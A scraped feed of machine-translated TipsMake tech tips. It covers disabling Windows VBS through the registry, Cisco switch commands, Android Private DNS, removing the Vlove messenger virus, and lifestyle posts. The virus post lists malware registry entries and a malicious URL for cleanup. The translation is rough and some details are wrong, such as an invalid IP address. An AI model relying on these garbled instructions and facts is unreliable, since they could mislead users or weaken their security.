reboots, the VBS feature will be turned off.\n  Use the Registry Step 1: You press Win + R to open Run then type regedit and then press Enter.\nStep 2: In the Registry Editor window, access:\nHKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/DeviceGuard Step 3: Right-click and select New \u0026gt; DWORD (32-bit) Value and name it EnableVirtualizationBasedSecurity. Put the value 0 in the Value box and then click OK. You just need to restart the machine to complete the change.\n  Good luck!\nhow to turn off vbs on windows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqcKzuoyonZ9lppfAbr%2FEnKyroaSuerC6jLCgp5yfrMBufZBmq6hlnqTBbrjOrJxmqJWns7C%2BzJqlnJ1drLWmuoypo5qxmaO0brPAppys\n","link":"/post/steps-to-turn-off-vbs-security-on-windows-11-to-not-lose-performance-when-playing-games/","section":"post","tags":null,"title":"Steps to turn off VBS security on Windows 11 to not lose performance when playing games"},{"body":"TipsMake.com - Sometimes, you will have to configure a switch port or find the MAC address on each port. Maybe, this is not what you do on a daily basis and need a basic course on Cisco's Switch administration position. So, try to explore the basic steps of this position.\nLog in\nBefore you can administer the Switch, you need to know some basic information:\n• What switch IP address? What is DNS?\n• Can you login and password?\n• Ethernet port of switch\nOne way to configure the switch is to configure it on the web interface. Basic configuration is not difficult and you do not need much help. In the command-line interface CLI (command-line interface) you can perform any type of configuration. Therefore, I recommend that you use the IOS command line interface. In this article we will take the basic steps of managing switches with the Cisco IOS command-line interface.\nShow switch configuration\nJust like on a router, the IOS command is used to display the switch configuration with all Ethernet ports. To know the configuration of the switch, just type show running-config as follows:\n  Show port status\nAlmost every time you switch to the switch, you must troubleshoot the switch port or change the switch port configuration. The quickest way to display the status of each switch port is to show show interfaces status :\n  This command is displayed: if the port is connected to the device, the VLAN is IN, displayed with the speed and model of the port. This is the fastest and best way to know the status of each switch port.\nChange the speed and duplex of the interface\nInterface Fa0 / 21 with the speed set to auto. However, this speed needs to be set to 10Mb / sec. To change the speed of the ports, go to interface configuration mode and use the speed command :\n  On this switch, the speed of 10/100 Ethernet ports is set to auto, 10 and 100. On the Gigabit Ethernet port you can only adjust the switch with the port speed being able or not able to detect the speed yourself. Once the speed is configured to 10Mb, you can check the interface Fa0 / 21 again like:\n  As you can see, the speed has been set to 10. To change the speed of both directions of the port, you perform the same step, but use the duplex command. Duplex can be set to auto , full or half .\nTurn off and turn on interfaces\nTo enable or disable interfaces, you use the no shutdown / shutdown command in interface configuration mode. Here is an example:\n  Note that when the port is shut down, the communication message appears telling you that the management status has been changed to down , the line protocol is also converted to down . When the port is turned on, the line protocol will switch to up .\nNow you can display the interface status to see its status.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJuYrKGTqHqwsoycoKybn2LAuLXTnJ9mpZGjrqixzJ6lrWWglr%2B1eZA%3D\n","link":"/post/the-basics-of-cisco-switch-management/","section":"post","tags":null,"title":"The basics of Cisco Switch Management"},{"body":"So what is error 0x80070570? How to fix this error? The answer will be in the following article.\nHow does error code 0x80070570 appear? This message usually appears when an error occurs during the initial installation of the Windows operating system or during an update of an already installed version. Error message 0x80070570 also appears while moving files from one drive to another.\nDepending on the specific cause of the error warning, the content of the message will vary, as it often explains the problem in detail.\nFor example, a message might say:\nWindows cannot install required files. The file may be corrupt or missing. Make sure all files required for installation are available and restart the installation. Error code: 0x80070570 ( Windows cannot install the required files. The file may be corrupted or missing. Make sure that all the files needed for installation are available and restart the installation. Error code: 0x80070570 ).\nNo matter what the warning text says, it always ends with:\nError code: 0x80070570 Error message 0x80070570 The cause of error code 0x80070570 The occurrence of error code 0x80070570 is usually triggered by a missing or corrupted file. A corrupted or corrupted drive can also cause 0x80070570 to appear, as this may prevent the Windows computer from reading the necessary files correctly.\nWhen an error message appears during the installation or upgrade of a Windows operating system, the reason is often that the corrupted installation file may be caused by server side problems during download or Internet connection. Unstable or weak on your side.\nHow to fix error 0x80070570 Because the cause of the error 0x80070570 can be difficult to identify, it is worth dealing with all these potential solutions until the problem is resolved.\n1. Restart the computer Rebooting your computer usually fixes random technology problems and is the first thing you try. Before restarting your computer, save all open files and exit any open applications or programs. This way, you will not lose any process or content.\n2. Perform a Windows update In addition to providing you with access to the latest Windows features and security improvements, the Windows update process also performs a full system scan and fixes any problems or errors it finds.\n3. Download the Windows update again If error 0x80070570 appears during the Windows update process, restart the computer and force the Windows update manually. To do so, select Start menu \u0026gt; Settings\u0026gt; Update \u0026amp; Security\u0026gt; Check for update .\nWhen performing the Windows update again, avoid using applications or programs that require Internet access to connect as strongly as possible. If you are using Metered Connection (Internet connection has limited data related to it), consider switching to a faster WiFi or wired connection for a stable download experience.\n4. Retry to install the application Similar to the advice above, sometimes updating or reinstalling Windows 10 apps will work, so it's worth trying this at least a second or third time before trying to find a replacement. .\n5. Check the installation disc for any damage If you are installing software from a CD, DVD or Blu-ray disc, check that the disc is damaged or dirty. A scratched or dirty disc may make the drive difficult to read its contents and may trigger a 0x80070570 warning.\nTip : When cleaning a dirty disc, avoid wiping in circles with a cloth. If the disc is scratched, there are many ways to fix it, from using toothpaste or banana peel to covering it with peanut butter and wax. You may also need a professional CD repair kit.\n6. Download the file again If you encounter error 0x80070570 after opening the downloaded file, it may be corrupted or incomplete. Download again and make sure the download completes properly.\nTip: An easy way to check if a file has been completely downloaded is to check its size. Many websites list the total size of files available for download. To cross-reference this file with the downloaded file, right-click the file's icon on the computer, then select Properties.\n7. Check out the official channels Sometimes app and video game developers release installation files that are corrupt or not uploaded properly. Usually, individuals or companies involved will post these cases on their official Twitter and Facebook accounts. If this is the case, wait until a repaired installation file is published.\n8. Check your hard drive for errors Sometimes a corrupted hard drive can cause the error message 0x80070570.\nUsing the method in the article: 7 effective ways to check the hard drive for routine health check of the hard drive to scan for local and external hard drives or storage devices connected to a computer from a USB port.\n9. Request a new copy If the file was sent to you from someone else via email and you cannot open the file due to error message 0x80070570, ask the sender to upload it to a new email and send it back to you.\nWhen doing this, ask the sender not to resend the same email, but to manually re-upload the attachment. The file is likely to be corrupted the first time it is uploaded.\n10. Exit the application If you have trouble opening a downloaded file from an application like WhatsApp, Telegram, Line or Facebook Messenger, exit the application, restart the computer, open the application, and download the file again.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWVp7%2Bwvoxpr3FoYGx9doOPZp%2Bor12pvG6yyLFkraCZqHqmvtGoqQ%3D%3D\n","link":"/post/what-is-error-0x80070570-how-to-fix-this-error/","section":"post","tags":null,"title":"What is error 0x80070570? How to fix this error?"},{"body":"On October 15, Adobe Systems released an upgraded version of Flash Player 10 to provide a more enjoyable video, audio and graphics experience. The new version is codenamed Astro, and was released just a day after Microsoft launched its competing Silverlight 2.0 product. \n Windows and Mac users can download Flash Player 10 for free at www.download.com . Some key features of this upgrade include:\n The codename of Flash Player 10 is \"Astro\".\n- Easy to use 3D graphics effects.\n- Better text processing for complex forms of combination of text and graphics; print out sharper; and support more languages. - Better sound processing, even for audio signals mixed together, such as music tracks with in-game sound effects. - Better virtual effects using technology called Pixel Bender, and can interact with both After Effects CS4 and Photoshop CS4 applications. - Better hardware acceleration. - Ability to play video better and can be adjusted depending on network capacity. Flash Player is an important part of Adobe's efforts to make Web-based applications more powerful. Adobe Flex can be used to create applications that run on Flash Player, or standalone applications that run on AIR (Adobe Integrated Runtime). Flash and Silverlight are not the only ways to create so-called rich Internet applications. And .Net and JavaScript technology help build more complex interfaces on Web applications. However, Flash is still the platform that can be even more powerful, it is used more by people, while upgrading to new applications also takes less time. Flash Player 10 is also part of the Adobe Creative Suite 4 application package (including Photoshop, Illustrator, Dreamweaver, and Premiere) currently sold to customers. Because the control panel is written in Flash technology, the menus of CS4 can be easily expanded with third-party applications. At the end of this month, Adobe plans to launch the Configurator application, which makes it easier to personalize control panels.\nncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5kq52cmq60scNmnaWZo516sbjAspyrZWFl\n","link":"/post/adobe-released-flash-player-10/","section":"post","tags":null,"title":"Adobe released Flash Player 10"},{"body":"The sequel to the Avengers: Infinity War is the Avengers: Endgame , also known as the Superhero Squad: The End. This is the fourth part of the Avengers series, following the first Avengers (2012) and Avengers: Age of Ultron (2015) and Avengers: Infinity War (2018).\nThis is the last movie of the third stage and the 22nd film in the Marvel cinema universe, this time about the time after half of life in the universe was destroyed by Thanos in the Avengers: The infinity battle, the remaining members of the Avengers squad and their allies must regroup to fight him and reverse the consequences he has caused.\nSurely users will admire the fascinating action scenes in the Avengers: Endgame section, but before that you can see the images of Avengers: Endgame below to set as wallpaper, or poster poster movie movie if you love Avengers.\nMore than 70+ Avengers: Infinity War wallpapers with high resolution for computers, laptops Devil May Cry 5 wallpaper for high quality computers Combine more than 30 high quality 2019 Chelsea wallpapers for computers Captain Marvel wallpaper set of high resolution for computers Synthesis of more than 50+ Avenger wallpapers: Endgame for computers Note that these are only slightly resized background images for your reference, the Avengers wallpaper set: The full-featured Endgame will be available below this article.\n  Avengers wallpaper: Endgame\n  Avengers: Endgame wallpapers for computers\n  The most beautiful Avengers: Endgame wallpaper\n  Avengers: Endgame wallpapers for computers\n  Avengers wallpaper: Beautiful end games for laptops\n  Avengers wallpaper: Beautiful Endgame for laptops\n  Photo Avengers: Endgame beautiful\n  Figure Avengers: The most beautiful Endgame\n  Poster Avengers: Endgame\n  Avengers Wallpaper: Endgame\n  Avengers: Endgame 4K wallpaper\n  Avengers wallpaper: Endgame full hd\n  Avengers wallpaper: High resolution Endgame\n  Avengers wallpaper: High resolution Endgame\n  Avengers: Endgame character wallpaper\n      Above is the Avengers wallpaper set: Endgame for you to refer to many different resolutions suitable for each computer screen size, to download the Avengers wallpaper set: Endgame, please visit the link below.\nLink download Avengers wallpaper: Endgame for computers, laptops\nncG1vNJzZmismaXArq3KnmWcp51ksLC5waKlnmWdpL%2BmedOhmKdlZWV6osLEp56eqqNisq%2BwxpqknmWnlrmtvMCpnKurXZu8s3nCqKSpraSav7R5y5qnraegqA%3D%3D\n","link":"/post/endgame-wallpapers-for-computers-laptops/","section":"post","tags":null,"title":"Endgame wallpapers for computers, laptops"},{"body":" Mother's Day: Origin and meaning Besides mother's day, there is also a day for each of our children to take the time to honor the great contributions and sacrifices of the father, a person who has the merit of giving and protecting life. poetry children.\nFather's Day is usually held on the 3rd Sunday of June every year, so it will not be a fixed day. In Vietnam Father's Day has just been introduced in recent years. Father's Day is the 3rd Sunday in June of the calendar. Specifically, which days of the Father will be in the following year:\n  1. The origin of Father's Day Father's Day has been celebrated popularly since the early 20th century to complement Mother's Day in feasts to honor parents. Father's Day is celebrated on different days around the world and often involves giving gifts, special dinners for both, mother and family activities.\n  But the celebration of the earliest known Father's Day took place in Fairmont, West Virginia on July 5, 1908. The event was organized by Grace Golden Clayton, with a desire to honor the life of her lost father. last month in the Monongah Mining Disaster in Monongah, West Virginia, on December 6, 1907. Perhaps Clayton was influenced by the celebration of Mother's Day for the first time that year, Clayton chose the closest Sunday to her newly-born father's birthday.\nHowever, the event was overshadowed by other events in the city. West Virginia State does not officially recognize this holiday, and it is not held back. All of the merits of helping the Father's Day to come back were recorded for Sonora Dodd of the Spokane, who organized Father's Day independently two years later. Her event was also influenced by Mother's Day.\nOne day in 1909, while listening to a sermon on Mother's Day, Miss Sonora thought of a day to honor her fathers. Sonora was the eldest daughter of six sisters, her mother died at birth so her father, William Jackson Smart, alone raised six older sisters. Sonora loved and respected his father for understanding his hardships. The father in her eyes is a symbol of sacrifice, selflessness and tolerance. So she wants to have a special day to honor her father. Sonora chose June 19 as \"Father's Day\" because it was her father's birthday.\nThen, in 1966, US President Lyndon Johnson decided to officially choose the 3rd Sunday in June every year as Father's Day throughout the United States. Father's Day has been celebrated every year since US President Richard Nixon signed a law recognizing Father's Day as a valid, permanent holiday in 1972.\n2. Meaning of Father's Day   In the name of this day also speaks many meanings. Just like Mother's Day, Father's Day is a holiday for each of our children to show their respect to the birth of us. This is seen as a beautiful cultural net in the way of human behavior with each other, is also a way of connecting each member of the family closer together, giving each other emotions, concerns and understand each other better.\nThe purpose of Father's Day is an opportunity for each child to express and express his or her love and respect for the Father, a pillar of every family. In the world, besides Father's Day on the 3rd Sunday of June, there are many anniversaries for the father but in general, there are flowers, gifts, cozy dinners in any anniversary father and intimate family activities.\n  Father's Day is celebrated throughout many countries. In each country there is a way to welcome Father's Day differently as in the United States, the children will go down the streets marching, blowing trumpets, and jubilantly in the joy and happiness of the adults. Besides, they also organized exciting games for children like International Children's Day.\nIn Japan, the land of the rising sun, they sold very suitable gifts to the Father like sleeping pillows on airplanes, fitness cards, vitamin medicine bags, light music CDs, sports shoes, sunglasses, fishing rods, gardening tools . this is seen as a reminder for young people to remember their Father.\nIn Canada, exemplary father examples are honored in the newspaper .\nIn Vietnam, Father's Day has only been introduced to Vietnam in recent years, so it has not officially become a great celebration nationwide. But many young people on this day also celebrated Father's Day in their own way, like taking a vacation to go home to visit their parents, buy small gifts or join their families for a warm dinner together .\n  There is no joy to match the smile on our parents' lips when they see their children being successful and obedient. So, whether it's a normal day or holidays, give your parents the joy. Please appreciate every moment of your parents, not to realize the true value of parents, family in life is too late.\nncG1vNJzZmismaXArq3KnmWcp51ks6LAx56prGWUlsZussCtn56qo2KxosWMa2dqb12kv6qzyKdkmqaUYrqmrc2ipaA%3D\n","link":"/post/father-s-day-father-s-day-2017-origin-and-meaning/","section":"post","tags":null,"title":"Father's Day 'Father's Day' 2017: Origin and meaning"},{"body":"But when some bright spark had the idea of merging dating with technology, everything changed. Nowadays, all singles have to do is select the dating service that best suits their needs. The moment they've registered, they can introduce themselves to whoever catches their eye from an unlimited list of equally enthusiastic singles. Let's take a look at how technology altered romance forever.\n  So many options appear when you search Popping 'dating sites' into a search engine is liable to produce a torrent of results. The availability of web page templates has also meant entrepreneurs can put together new dating outlets relatively easily. The first decision you'll need to make before embarking on Internet dating is which site would best suit your needs? Whether you're seeking casual encounters, marriage, or whatever, you'll have so many options.\nAlgorithms will narrow the dating pool Signing up to an outlet usually requires you to complete a questionnaire. This is where you can specify the type of relationship you are seeking, outline the attributes of an ideal partner, and describe your personality. For example if you are looking for a partner from aviation industry you can choose to sign up to pilot dating site and select special filters that will narrow the dating pool only to pilots. It's worth noting that its quite busy niche because according to recent studies it was shown that men who listed their career as 'pilot' got the most amount of indications of romantic interest, beating out entrepreneur, police officers, and even fashion models. Computer programs – algorithms – will take this information to cross-reference with existing site users, flagging up any areas that overlap. This allows you to discover compatible individuals much more readily.\nVast foreign markets await Technology has effectively negated international borders. Registering with a dating app or website will provide instant access to singles from every corner of the globe. You might choose to home-in on people sharing your ethnicity. Or you could opt for someone more exotic. Many site users are drawn to the notion of becoming familiar with a foreign partner. Websites that will translate different languages in real-time can make it so much more convenient to converse with a potential contact from much further afield.\n24/7 communication Technology places the dating world in the palm of your hand. You can choose desktop sites for touching base with prospective partners, or you could download from the ever-increasing list of dating apps available in the major stores. Having access to these matchmaking platforms 24/7 means you could be chatting to your fellow site members whenever it happened to be most convenient. Given that we all seem to be leading busy lives, it's often useful to be able to switch off from daily hassles at the tap of a few keys. As you are commuting to work or study, you could be flirting shamelessly!\nIt's so easy to develop a rapport In the modern world, romantic relationships are becoming so much easier to develop. The combination of a secure socializing platform, and any amount of members sharing your interests and motivations is a potent one. Even if you are relatively new to digital dating, you'll quickly find your feet as you get used to kindling sparks of chemistry with the people you meet online.\nYou are in charge of your destiny Online dating is exceedingly flexible. You could choose to dip into your dating account now and again to consult your intray for texts, or check out newcomers. The rest of your leisure time could then be spent mixing in the more traditional outlets, such as bars or social clubs. Or you might decide that you'd rather make the most of the online dimension by embracing its possibilities whenever you have a free moment.\ndating sites dating ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqbKktM2oo6ifqWKup7LEnKtmqp%2Birq%2FAyJxkq52clsGqu82sn6Koo2K2r3nToZxmpZ%2BZsrO6jLCmq6SU\n","link":"/post/how-does-technology-affect-romantic-relationships-in-the-modern-world/","section":"post","tags":null,"title":"How does technology affect romantic relationships in the modern world?"},{"body":"\u0026nbsp;This is where Android's Private DNS (Private DNS) feature comes into play.\nWhat is Private DNS on Android? It can be said that DNS is a component that builds the modern Internet structure. It acts like a yearbook, helping you access it wherever you want on the web.\nFor example, when you want to access TipsMake.com, you can simply type TipsMake.com in the address bar of your web browser. But unfortunately, your web browser doesn't know how to access TipsMake.com. This is where DNS comes into play. The web browser asks a DNS server, usually operated by your internet service provider (ISP) or mobile network, to convert the TipsMake.com domain name into an IP address, such as 1561.101.2.117. With the IP address in hand, the web browser can now connect to the internet resource you access.\nThe problem is that DNS queries and corresponding responses are often sent without any kind of security or encryption. This makes them vulnerable to eavesdropping or man-in-the-middle attacks. So, a new DNS protocol — DNS over TLS — was introduced. This protocol creates a secure channel between your web browser and the DNS server, and protects your DNS traffic from prying eyes and malicious third parties.\nOf course DNS over TLS is not the only secure DNS protocol. There is also DNS over HTTPS which is also an extremely widely used protocol.\nGoogle brought DNS over TLS support to the Android platform by introducing the private DNS feature. This feature, available in versions of Android 9 (Pie) and later, can encrypt all DNS traffic on the user's phone, including apps.\nThis feature is usually enabled by default and uses a secure channel to connect to a DNS server if it supports it. But if your ISP or your mobile carrier's DNS doesn't support encrypted DNS, or you're simply not sure about it, a third-party secure DNS server can be used through the calculator. private DNS feature.\nHow to Manage Private DNS Feature in Android It should be noted that due to the variety of Android customizations, there will be slight differences in the title of the settings items depending on the customization. However, the basic setup operations will still be similar.\nTo manage private DNS options, first tap the gear icon on the home screen to access your device's Settings menu.\nOn the Settings menu, click 'Network \u0026amp; Internet'. Depending on the device and Android customization, this section may have a slightly different name, such as 'Connections'.\n  Under Network \u0026amp; Internet, click on 'Private DNS'. If you don't immediately see the 'Private DNS' option here, you may have to tap on 'More Connection Settings' or 'Advanced'.\n  You will get three options: Off, Automatic, and Private DNS Provider Hostname. You can select 'Off' to stop using DNS over TLS, 'Automatic' to use encrypted DNS when available, or a private DNS provider's server to use encrypted DNS from that provider . Remember, instead of a DNS server IP, you need a hostname.\n  Once done, click 'Save' to apply the changes.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYypqaKukamybrDNrGSsnZOqv6rA2Gamp2WRo7Gzu8id\n","link":"/post/how-to-enable-private-dns-security-on-android/","section":"post","tags":null,"title":"How to enable private DNS security on Android"},{"body":"The Vietnamese Internet community is witnessing a new \"flood\" from the internal virus called Vlove , spread through the most popular Yahoo Messenger instant messaging service today. The virus sends an IM to the entire friends list, which the owner doesn't know about. When receiving this message, the user absolutely does not click on the link, please ignore. In case of infection with this virus, follow these steps: 1. Download the necessary tools: - Download Hijackthis software to manage programs started with Windows. - Load Killbox software to delete files that windows does not allow. 2. Back up the registry Because the following removal method is mainly related to the Registry and Hijackthis is one of the software that strongly affects this function, you need to back up (save) before attempting to prevent the problem later. Back up the registry by: - From Start -\u0026gt; Run -\u0026gt; type regedit command -\u0026gt; File (in the Registry Editor window) -\u0026gt; Explorer -\u0026gt; save the exported file as you like. - When something goes wrong with the Registry , you just need to re-enter ( Import ) the original file is ok. 3. Run Hijackthis:\n  Figure 1\nClick \" Do a system scan and save a logfile \" ( Figure 1 )\n  Figure 2\nThe areas that are highlighted in red ( Figure 2 ) are the viruses created by the virus. Please check all the keys then check the checked to remove them. ( Figure 3 ). You find and click on the following keys: R1-HKCUSoftwareMicrosoftInternet ExlplorerMain, Default_Page_URL = http://fun.nguoiiu.com/life/ R1 - HKCUSoftwareMicrosoftInternet ExlplorerMain, SearchPage = http://fun.nguoiiu.com/life/ R0 - HKCUSoftwareMicrosoftInternet ExlplorerMain, Start Page = http://fun.nguoiiu.com/life/ R1 - HKCUSoftwareMicrosoftInternet ExlplorerMain, First Home Page = http://fun.nguoiiu.com/life/ R1 - HKCUSoftwareMicrosoftInternet ExlplorerMain, Window Title = Power by MTVC O4 - HKCU.Run: (System32) C: WindowsSystem32.exe O4 - HKCU.RunOnce: (Windows) C: (Windows System32victory.jse O11 - Options Group: (International) International *\n  Figure 3\n4. Delete files using Killbox: You need to delete the following files: C: WINDOWSsystem32.exe ( Figure 4 ) C: WINDOWSsystem32victory.jse\n  Figure 4\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOZobluwsuorZ5lpp6%2Ftr8%3D\n","link":"/post/how-to-kill-vlove-virus/","section":"post","tags":null,"title":"How to kill Vlove virus"},{"body":"To open multitasking on iPhone we will click on the physical Home button. But with iPhone X you just need to swipe from the bottom of the screen. If users want to bring the unique tweak of iPhone X to their iPhone, they can install tweak Avertas.\nTweaking Avertas installed on jailbroken iOS 11 devices, allows opening multitasking by swiping up from the bottom of the screen. Background applications on the iPhone or hidden settings will also appear as if you clicked the physical Home button. The following article will guide you how to use tweak Avertas on iPhone.\nHow to customize multitasking process on iPhone The fastest way to open multitasking on iPhone X How to adjust the dock and show the iPhone multitasking Instructions for customizing the iPhone multitasking process Step 1:\nCurrently tweaking Avertas can be found and downloaded on Cydia's BigBoss archive. Users click on Search button to find tweak. Or you can visit the link below.\n http://apt.thebigboss.org/onepackage.php?bundleid=com.kunderscore.avertas\u0026amp;db=      \nStep 2:\nAfter installing tweak successfully click on Settings , click on tweak Avertas to proceed custom.\n  Step 3:\nIn the main tweaking interface, we can turn on / off multitasking switches at Quick Switcher , turn on / off the corner at Hot Corners . Adjust the preview of the preview card during multitasking at the horizontal bar at Sliders .\nIn addition, there are additional options, including: Disable Lock Gesture Turn off the device screen lock gesture, Invert hot Corners reverse the gesture swipe and Disable in Apps turn off the swipe in the specific application.\nWith the Disable in Apps option users will be selected for specific applications. If you want to use this type of multitasking process with any application, please flip the ladder to the right at that application to activate.\n   Going back to the device home screen and swiping from the bottom edge of the screen will show multitasking as cards. Just click on the tags to open the application. Here you can also lock the screen without the need for a physical key.\n   Keep track of how it works for Avertas tweaking on iPhone with animation below.\n  One more way to change the default multitasking process to press the physical Home key on the iPhone. Tweaking Avertas will bring multitasking gestures similar to iPhone X to devices running iOS 11 jailbroken, swipe from the bottom edge and then click on the tabs at multitasking to open the app.\nSee more:\nHow to hide iPhone lock screen content Instructions for activating \"Slide to Unlock\" feature on iOS 10 How to turn on Virtual Home on iPhone X I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWlocGqwMCsomakmaCybrXPoaannV2t\n","link":"/post/how-to-multitask-like-iphone-x/","section":"post","tags":null,"title":"How to multitask like iPhone X"},{"body":"In addition to the popular image formats currently JPG, PNG there are many other image formats, but not supported for viewing. Users are forced to use conversion tools or software to convert to popular image formats, such as converting HEIC images to JPG, converting WebP images to JPG, etc. If the user does not want to add the conversion steps You can install Picture Opener Pro application on Windows 10.\nThis application supports a lot of image formats, opening about 178 image formats, including popular and unpopular formats like HEIC. Users will not need conversion tools, or use separate image format software. The following article will guide you how to install Picture Opener Pro application on Windows 10.\nHow to convert PDF to JPG, PNG images The best online file conversion tools for all your formatting needs How to convert PNG images to JPG does not degrade quality How to convert HEIC images with the HEIC Image Converter Tool Currently the manufacturer has removed the Pro Picture Opener application from Microsoft Store.\nInstructions for using Picture Opener Pro on Windows 10 Step 1:\nUsers click on the link below to install Picture Opener Pro application on Windows 10.\nStep 2:\nIn the interface of the application we can click the here button to choose to open the image, or just drag the image into the interface of the Picture Opener Pro application. In addition, we can also right-click on the image, select Open with and choose Picture Opener Pro. If you select Picture Opener Pro as the default image opener on the system, the image will immediately open on the application interface. The image formats that the application supports open a lot like ttf, tiff; tif; tga, svgz, heic, bmp, jpg, jpeg, png, gif, jp2, ppm, nef, svg, arw, crw, bmp2, threefr, .\n  Step 2:\nIn the image display interface, users will have additional icons below with different options, including position shifting, image reduction or image zoom, image rotation or sharing, printing.\n  Users can rotate the image to whatever angle you want.\n  Step 3:\nOn the Picture Opener Pro application, there is an option to convert the image format. Click on the Batch conversion item and then click on the name of the image then the user clicks on Saving format to select the image format to convert.\n  The list of image files to be converted is arranged as shown below.\n  Picture Opener Pro is not only an ordinary image opening application, but also helps you convert image formats, convert them to popular formats today. The number of image formats can be opened on Picture Opener Pro a lot, so we do not need to install more software to open images for each individual format.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtufZZxZKKlkZyybrLOq6SarKNivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-open-178-image-formats-on-windows-10/","section":"post","tags":null,"title":"How to open 178 image formats on Windows 10"},{"body":"In the article below, TipsMake will guide you on how to recover deleted photos permanently on Android using Google Photos.\nRecover deleted photos on Android from Google Photos Trash If you've backed up using the Back up \u0026amp; Sync option on your phone, all photos in your device have been automatically saved on Google Photos Cloud within 60 days, only if you haven't deleted them in the trash.\nYou can recover deleted photos permanently from Google Photos within 60 days on Android phone or computer.\nRecover on phone\nPlease follow the steps below:\nOpen the Google Photos app on your phone. Next, find the main menu and select Trash . From the given list choose the photos you want to restore. Click Restore to restore the selected photo. The pictures you have restored are saved to your device's photo library.   Recovery on computer\nFollow these steps to recover photos on computer:\nGo to Google Photo Trash . Sign in to the Google account you use to back up photos to Google Photos on your phone. When you sign in, you will see the deleted photos in the trash. Select the photos you need to recover and press Done . Then, select Restore . All photos have been restored and backed up on your device.\nRecover deleted photos permanently using Android Photo Recovery If the above method didn't work, try Android Data Recovery software. This is a very useful photo recovery tool on Android. It can easily recover permanently deleted photos in jpg / jpeg, png, gif, . format from Google Photos app.\nAndroid Photo Recovery can get photos deleted by accidental deletion from Google Photos, device water-soaked, data loss due to factory reset, viruses, . The software is available on Windows and Mac.\nInstall and open the Recover software on your computer. Then choose Recover .\n  Now connect your phone to the computer and dial the USB cable. Once connected, the phone screen will display as follows:\n  Once connected, the tool will display all supported phone data. By default, the tool checks all files. You should only select the files you need to recover. If your device is not rooted, Recover will display 2 options: Scan for deleted files and Scan for all files . If you select all of them, the scan time will take longer.\n  Select Next to continue with the process.\n  The software will continue to scan your device to 'rescue' the deleted data.\n  When the scan is complete, you can preview recoverable data. Select the files you want to recover and click Recover to save all those files to your computer.\n  Recover deleted photos permanently via Google Support Team You can contact Google support for help recovering deleted photos permanently on Android.\nGo to support.google.com. Select Contact us . Here you have three options: Live chat, call or email support. Use one of the three ways above to notify Google of the problem you are having, they can respond quickly and restore photos for you. google photos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmm56klamypXnPoaatp6Nivaa%2BzJqlnqakocZuu81mmKecoqS2pQ%3D%3D\n","link":"/post/how-to-recover-deleted-photos-permanently-on-android/","section":"post","tags":null,"title":"How to recover deleted photos permanently on Android"},{"body":"Removing equipment from champions in the Arena of True Legs seems only in the hope of gamers. That Riot Games will update this feature in the ring for gamers who mistakenly want to wear the wrong items to champions that are inappropriate or unnecessary.\nIn addition to building a strong squad, the layout of the Arena of Truth is also a very important factor that contributes significantly to your victory. So if you have the wrong equipment, even just a few items, it is also a factor that contributes to you will have to out the game soon.\nSo if you want to remove equipment from unnecessary or inappropriate champions, please see the instructions on how to remove equipment from champions in the Arena of Truth below.\nDetails of Hourglass and new equipment of the Arena of Truth 10.1 See the percentage of champions appearing while playing in the Arena of Truth with TFTactic How to use emoticons in the Arena of Truth Instructions to remove items from champions in the Arena of Truth Step 1: First, you need to determine which champion wants to remove equipment and let that champion hold 3 equipment, if only 2 equipment is not removed.\nFor example, you have Vayne wielding Raging Scythe, Raging Bow and Killing Giant. Now you want to give her \"no hands to catch the enemy\" and throw those items to other generals, you must try 3 stars for her.\n  Specifically, you only lack one star Vayne to be 3 stars for her. Now you have 2 Vayne 2 stars and 2 vayne 1 stars.\nStep 2: To remove items from the champion, place the 2-star Vayne unmatched in an elemental box on the floor instead of Vayne full 3 equipment. Then buy General Vayne 1 last star to raise 3 stars for her, immediately 3 equipment available on Vayne will automatically splash out.\n  One way of removing items from a champion in the DTCL is to take the Gangster Bandit from the champion. This equipment is often found in squads that don't have a lot of items.\nFor example, if you have a champion that has a Gauntlet on the floor but doesn't want to pair that champion with a Gauntlet. Now you will also have to rely on the elemental cells available on the floor, place the champion with Practice Gloves on any elemental box, then transplant that champion into Gang Thief, automatically this item will fall. out of that champion.\n  Here are some tips to help you get things out of champions in the Arena of Truth without having to sell them. It's actually very useful to remove items from this champion, especially if you have few items for your team.\nIf you still know how to remove champions from DTCL, please comment below to share with gamers.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyeqK6hoKKyr8CMn6mopV2YtaK5z6Kmp6tdnrtuwMeeZJqqlaOubrvFZqurraSd\n","link":"/post/how-to-remove-equipment-from-champions-in-the-arena-of-truth/","section":"post","tags":null,"title":"How to remove equipment from champions in the Arena of Truth"},{"body":"On computer browsers such as Google Chrome has been provided with the ability to check spelling during editing on the browser, such as on Google Docs or WordPress.\nThis feature is added by default to the browser. When we enter content, there will be red underscores, similar to the spell checker feature in Word. However, displaying red underlined lines in text content is quite annoying. Besides, the ability to spell check can lead to Vietnamese typing errors on Chrome. If so, you can turn off spell checking on Chrome browser.\nThe spell check software is free Great tips for Word 2010's text test tool How to turn off spell check mode in Windows 10? How to turn off spell checking on Chrome Step 1:\nOn the Chrome browser interface, we click on the 3 vertical dots icon and select Settings .\n  Step 2:\nNext click on the 3 dashes icon and select the Appearance tab .\n  Step 3:\nScroll down and click on the Advanced option.\n  Continue dragging under the Language section to see the Spelling checker with default on and check Vietnamese spelling.\n  Step 4:\nClicking on the Spell check item will see a list of languages ​​that Google Chrome supports testing. To turn off the spell checker on Chrome browser, in Vietnamese put the horizontal bar to the left to disable.\n  So you have turned off the spell check feature on Google Chrome browser. Although the spell checker feature will be enabled by default on Chrome browser to serve as the editor in the browser, but will display dashed lines in the interface that makes the user quite uncomfortable.\nSee also: How to turn off spell checking on Microsoft OneNote.\nI wish you all 